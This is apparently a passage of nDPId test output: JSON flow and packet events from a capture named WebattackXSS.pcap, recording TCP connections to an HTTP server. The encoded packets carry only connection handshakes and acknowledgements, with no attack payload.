+00433{"flow_id":423,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5992,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347683,"pkt_ts_usec":314244,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0x65AAD4G\/imsEAABwKgKMumkAFCTI2VmOLrhXYAQAOXmLgAAAQEICgE7oskD5XQ9"} +00433{"flow_id":420,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5995,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347683,"pkt_ts_usec":804482,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06npAAD4G212sEAABwKgKMuluAFCn23ezTDIt6oARAOVj3gAAAQEICgE7o0MD5W8\/"} +00432{"flow_id":420,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5996,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347683,"pkt_ts_usec":804756,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0WVJAAEAGaobAqAoyrBAAAQBQ6W5MMi3qp9t3tIARAONeZgAAAQEICgPldLgBO6ND"} +00432{"flow_id":420,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5997,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347683,"pkt_ts_usec":805476,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06ntAAD4G21ysEAABwKgKMuluAFCn23e0TDIt64AQAOVeZAAAAQEICgE7o0MD5XS4"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6001,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":424,"flow_packet_id":1,"flow_first_seen":1499347684563,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59826,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":424,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6001,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347684,"pkt_ts_usec":563427,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA82yNAAD4G6qysEAABwKgKMumyAFDf7X8iAAAAAKACchBwtAAAAgQFtAQCCAoBO6QBAAAAAAEDAwc="} +00445{"flow_id":424,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6002,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347684,"pkt_ts_usec":563554,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6bLDIQ3O3+1\/I6AScSAnSAAAAgQFtAQCCAoD5XV2ATukAQEDAwc="} +00432{"flow_id":424,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6003,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347684,"pkt_ts_usec":564308,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02yRAAD4G6rOsEAABwKgKMumyAFDf7X8jwyENz4AQAOXGTwAAAQEICgE7pAED5XV2"} +00432{"flow_id":421,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6007,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347684,"pkt_ts_usec":804630,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00KVAAD4G9TKsEAABwKgKMul8AFCXJE+lkU6ujYARAOXUngAAAQEICgE7pD0D5XB8"} +00432{"flow_id":421,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6008,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347684,"pkt_ts_usec":804857,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA02z9AAEAG6JjAqAoyrBAAAQBQ6XyRTq6NlyRPpoARAOPPaQAAAQEICgPldbIBO6Q9"} +00432{"flow_id":421,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6009,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347684,"pkt_ts_usec":805641,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00KZAAD4G9TGsEAABwKgKMul8AFCXJE+mkU6ujoAQAOXPZwAAAQEICgE7pD0D5XWy"} +00432{"flow_id":422,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6013,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347685,"pkt_ts_usec":804713,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0qS5AAD4GHKqsEAABwKgKMumKAFCMLAlsXgXdyYARAOUnlQAAAQEICgE7pTcD5XG8"} +00432{"flow_id":422,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6014,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347685,"pkt_ts_usec":804995,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0q2VAAEAGGHPAqAoyrBAAAQBQ6YpeBd3JjCwJbYARAOMipgAAAQEICgPldqwBO6U3"} +00432{"flow_id":422,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6015,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347685,"pkt_ts_usec":805699,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0qS9AAD4GHKmsEAABwKgKMumKAFCMLAltXgXdyoAQAOUipAAAAQEICgE7pTcD5Xas"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6022,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":425,"flow_packet_id":1,"flow_first_seen":1499347687089,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59852,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":425,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6022,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347687,"pkt_ts_usec":89585,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8UahAAD4GdCisEAABwKgKMunMAFBn2\/fQAAAAAKACchBthwAAAgQFtAQCCAoBO6Z4AAAAAAEDAwc="} +00443{"flow_id":425,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6023,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347687,"pkt_ts_usec":89686,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6cx2j8kIZ9v30aAScSCy+wAAAgQFtAQCCAoD5XftATumeAEDAwc="} +00433{"flow_id":425,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6024,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347687,"pkt_ts_usec":90261,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UalAAD4GdC+sEAABwKgKMunMAFBn2\/fRdo\/JCYAQAOVSAgAAAQEICgE7pnkD5Xft"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6031,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":426,"flow_packet_id":1,"flow_first_seen":1499347688364,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59866,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":426,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6031,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347688,"pkt_ts_usec":364903,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8C45AAD4GukKsEAABwKgKMunaAFB\/Haw5AAAAAKACchCgjwAAAgQFtAQCCAoBO6e3AAAAAAEDAwc="} +00444{"flow_id":426,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6032,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347688,"pkt_ts_usec":365035,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6dpm6d+Cfx2sOqAScSDd8AAAAgQFtAQCCAoD5XksATuntwEDAwc="} +00433{"flow_id":426,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6033,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347688,"pkt_ts_usec":365851,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0C49AAD4GukmsEAABwKgKMunaAFB\/Haw6Zunfg4AQAOV8+AAAAQEICgE7p7cD5Xks"} +00433{"flow_id":423,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6037,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347688,"pkt_ts_usec":805504,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0x69AAD4G\/iisEAABwKgKMumkAFCTI2VmOLrhXYARAOXg0QAAAQEICgE7qCUD5XQ9"} +00432{"flow_id":423,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6038,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347688,"pkt_ts_usec":805762,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0mMdAAEAGKxHAqAoyrBAAAQBQ6aQ4uuFdkyNlZ4ARAOPbdQAAAQEICgPleZoBO6gl"} +00433{"flow_id":423,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6039,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347688,"pkt_ts_usec":806519,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0x7BAAD4G\/iesEAABwKgKMumkAFCTI2VnOLrhXoAQAOXbcgAAAQEICgE7qCYD5Xma"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6040,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":383,"flow_packet_id":6,"flow_first_seen":1499347616210,"flow_last_seen":1499347621787,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59096,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6040,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":383,"flow_packet_id":6,"flow_first_seen":1499347616210,"flow_last_seen":1499347621787,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59096,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6040,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":384,"flow_packet_id":6,"flow_first_seen":1499347617491,"flow_last_seen":1499347622787,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59110,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6040,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":384,"flow_packet_id":6,"flow_first_seen":1499347617491,"flow_last_seen":1499347622787,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59110,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6040,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":385,"flow_packet_id":6,"flow_first_seen":1499347618757,"flow_last_seen":1499347623788,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59124,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6040,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":385,"flow_packet_id":6,"flow_first_seen":1499347618757,"flow_last_seen":1499347623788,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59124,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6040,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":386,"flow_packet_id":6,"flow_first_seen":1499347621256,"flow_last_seen":1499347626789,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59150,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6040,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":386,"flow_packet_id":6,"flow_first_seen":1499347621256,"flow_last_seen":1499347626789,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59150,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6040,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":387,"flow_packet_id":6,"flow_first_seen":1499347622524,"flow_last_seen":1499347627790,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59164,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6040,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":387,"flow_packet_id":6,"flow_first_seen":1499347622524,"flow_last_seen":1499347627790,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59164,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6040,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":388,"flow_packet_id":6,"flow_first_seen":1499347623786,"flow_last_seen":1499347628791,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59178,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6040,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":388,"flow_packet_id":6,"flow_first_seen":1499347623786,"flow_last_seen":1499347628791,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59178,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6044,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":427,"flow_packet_id":1,"flow_first_seen":1499347689613,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59880,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":427,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6044,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347689,"pkt_ts_usec":613266,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA80NlAAD4G9PasEAABwKgKMunoAFDCAng2AAAAAKACchCQZwAAAgQFtAQCCAoBO6jvAAAAAAEDAwc="} +00444{"flow_id":427,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6045,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347689,"pkt_ts_usec":613397,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6egCgzyzwgJ4N6AScSDTxgAAAgQFtAQCCAoD5XpkATuo7wEDAwc="} +00432{"flow_id":427,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6046,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347689,"pkt_ts_usec":614166,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00NpAAD4G9P2sEAABwKgKMunoAFDCAng3AoM8tIAQAOVyzQAAAQEICgE7qPAD5Xpk"} +00432{"flow_id":424,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6049,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347689,"pkt_ts_usec":805582,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02yVAAD4G6rKsEAABwKgKMumyAFDf7X8jwyENz4ARAOXBMAAAAQEICgE7qR8D5XV2"} +00433{"flow_id":424,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6050,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347689,"pkt_ts_usec":805841,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0d1tAAEAGTH3AqAoyrBAAAQBQ6bLDIQ3P3+1\/JIARAOO8EwAAAQEICgPlepQBO6kf"} +00432{"flow_id":424,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6051,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347689,"pkt_ts_usec":806584,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02yZAAD4G6rGsEAABwKgKMumyAFDf7X8kwyEN0IAQAOW8EAAAAQEICgE7qSAD5XqU"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6061,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":428,"flow_packet_id":1,"flow_first_seen":1499347692128,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59906,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":428,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6061,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347692,"pkt_ts_usec":128037,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8u5xAAD4GCjSsEAABwKgKMuoCAFDepxD4AAAAAKACchDYcQAAAgQFtAQCCAoBO6tkAAAAAAEDAwc="} +00444{"flow_id":428,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6062,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347692,"pkt_ts_usec":128168,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6gK6r2Hi3qcQ+aAScSA8AAAAAgQFtAQCCAoD5XzZATurZAEDAwc="} +00432{"flow_id":428,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6063,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347692,"pkt_ts_usec":128924,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0u51AAD4GCjusEAABwKgKMuoCAFDepxD5uq9h44AQAOXbBwAAAQEICgE7q2QD5XzZ"} +00434{"flow_id":425,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6067,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347692,"pkt_ts_usec":806558,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UapAAD4GdC6sEAABwKgKMunMAFBn2\/fRdo\/JCYARAOVMbAAAAQEICgE7rA4D5Xft"} +00432{"flow_id":425,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6068,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347692,"pkt_ts_usec":806749,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0tIpAAEAGD07AqAoyrBAAAQBQ6cx2j8kJZ9v30oARAONG1wAAAQEICgPlfYMBO6wO"} +00434{"flow_id":425,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6069,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347692,"pkt_ts_usec":807517,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UatAAD4GdC2sEAABwKgKMunMAFBn2\/fSdo\/JCoAQAOVG1QAAAQEICgE7rA4D5X2D"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6073,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":429,"flow_packet_id":1,"flow_first_seen":1499347693386,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59920,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 